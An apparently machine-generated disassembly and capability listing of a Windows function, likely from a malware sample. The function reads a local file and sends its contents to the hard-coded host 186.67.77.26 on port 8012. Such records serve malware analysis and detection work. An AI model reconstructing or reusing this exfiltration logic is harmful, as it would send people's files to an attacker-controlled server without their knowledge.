Function at 0x401840
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405687
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x340
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x340], edx
mov dword [ebp - 0x344], ecx
push 0xb8
lea eax, [ebp - 0x338]
mov dword [ebp - 0x33c], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x338], 0x406494
lea ecx, [ebp - 0x2c8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x328]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x33c], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x338]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x338]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x33c], eax
lea eax, [ebp - 0x328]
mov ecx, eax
mov dword [ebp - 0x27c], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x328]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x2e0], 0
mov byte [ebp - 0x2eb], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4096a0]
mov ecx, dword [0x4096a4]
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2f0], 0
push ecx
push 1
push ecx
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 3
call fcn.00403ba0
test eax, eax
jne 0x4019af
push eax
mov eax, dword [ebp - 0x338]
lea ecx, [ebp - 0x338]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 4], 4
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x338]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x32c], 6
jne 0x401d07
push 0x98
lea eax, [ebp - 0xe8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xe8], 0x4064a0
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x33c], 3
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xe8], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0xec], eax
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - 0xe4], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 4
lea eax, [ebp - 0x328]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0xe8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov byte [ebp - 4], 9
xorps xmm0, xmm0
mov edx, dword [ebp - 0xa8]
mov eax, edx
and al, 0x22
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x33c], 0xb
movq qword [ebp - 0x350], xmm0
mov dword [ebp - 0x348], 0
cmp al, 2
je 0x401b19
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
test ecx, ecx
je 0x401b19
mov eax, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xac]
cmovb ecx, dword [ebp - 0xac]
mov edx, dword [eax]
sub ecx, edx
jmp 0x401b4c
test dl, 4
jne 0x401b40
mov eax, dword [ebp - 0xc8]
mov esi, dword [eax]
test esi, esi
je 0x401b40
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
sub ecx, edx
add ecx, esi
jmp 0x401b4c
mov ecx, dword [ebp - 0x34c]
mov edx, dword [ebp - 0x350]
test edx, edx
je 0x401b5a
push ecx
push edx
lea ecx, [ebp - 0x44]
call fcn.00403d30
mov dword [ebp - 4], 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x401b97
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401b8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b8d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404817
add esp, 8
cmp dword [ebp - 0x2dc], 0
movups xmm0, xmmword [ebp - 0x44]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ebp - 0x34]
movq qword [ebp - 0x1c], xmm0
je 0x401c59
mov eax, dword [ebp - 0x31c]
lea ecx, [ebp - 0x2ec]
cmp dword [eax], ecx
jne 0x401be6
mov edx, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x2d8]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x30c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2fc]
mov dword [eax], edx
lea esi, [ebp - 0x328]
mov ecx, esi
call fcn.00403ad0
push dword [ebp - 0x2dc]
xor ecx, ecx
test al, al
cmove esi, ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor ecx, ecx
add esp, 4
test eax, eax
mov byte [ebp - 0x2e0], cl
mov byte [ebp - 0x2eb], cl
cmovne esi, ecx
lea ecx, [ebp - 0x328]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4096a0]
mov ecx, dword [0x4096a4]
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2f0], 0
test esi, esi
jne 0x401cb7
jmp 0x401c9e
lea ecx, [ebp - 0x328]
mov byte [ebp - 0x2e0], 0
mov byte [ebp - 0x2eb], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4096a0]
mov ecx, dword [0x4096a4]
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x338]
lea ecx, [ebp - 0x338]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xe8], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ebp + ecx - 0xec], eax
lea ecx, [ebp - 0xe4]
call fcn.00402b20
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x98]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x401d16
push 0x2d
push str.No_information_was_found__file_does_not_exist
lea ecx, [ebp - 0x2c]
call fcn.00403d30
lea eax, [ebp - 0x278]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401dc7
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x401d61
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401d57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ed8
push ecx
push edx
call fcn.00404817
add esp, 8
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x338]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x33c], eax
lea ecx, [ebp - 0x328]
call fcn.00403620
lea ecx, [ebp - 0x320]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x2c8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, 1
jmp 0x401f44
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push str.8012
lea esi, [ebp - 0x2c]
movlpd qword [ebp - 0x3c], xmm0
cmovae esi, dword [ebp - 0x2c]
push str.186.67.77.26
movlpd qword [ebp - 0x34], xmm0
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x401e27
push str.getaddrinfo_returned_error.
call fcn.00401050
add esp, 4
mov eax, dword [ebp - 0x27c]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x27c]
mov edi, eax
push dword [ecx + 0x10]
push dword [ecx + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401e63
push str.socket_connect_error.
call fcn.00401050
add esp, 4
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e68
push 0
sub ecx, edx
push ecx
push esi
push edi
call dword [sym.imp.WS2_32.dll_send]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x338]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x32c], 6
jne 0x401ea1
call fcn.004015a0
mov edx, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x344]
call fcn.004020a0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x401ee8
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401ede
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401ede
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404817
add esp, 8
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x338]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x33c], eax
lea ecx, [ebp - 0x328]
call fcn.00403620
lea ecx, [ebp - 0x320]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x2c8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004047d9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret